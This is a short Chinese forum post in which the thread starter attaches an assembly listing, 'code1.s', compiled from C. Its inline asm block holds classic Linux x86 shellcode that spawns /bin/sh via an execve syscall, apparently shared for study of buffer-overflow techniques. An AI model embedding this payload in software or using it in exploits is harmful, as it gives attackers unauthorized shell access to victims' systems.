|
|

楼主 |
发表于 2005-5-4 11:44:43
|
显示全部楼层
付code1.s
- .file "code1.c"
- .text
- .globl main
- .type main, @function
- main:
- pushl %ebp
- movl %esp, %ebp
- subl $8, %esp
- andl $-16, %esp
- movl $0, %eax
- subl %eax, %esp
- #APP
- jmp 0x0804948c popl %esi movl %esi, 0x8(%esi) xorl %eax, %eax movb %al, 0x7(%esi) movl %eax, 0xc(%esi) movb $0xb, %al movl %esi, %ebx leal 0x8(%esi), %ecx xorl %edx, %edx int $0x80 call 0x08049475 .string "/bin/sh"
- #NO_APP
- leave
- ret
- .size main, .-main
- .section .note.GNU-stack,"",@progbits
- .ident "GCC: (GNU) 3.3.4 (Debian 1:3.3.4-6sarge1)"
复制代码 |
|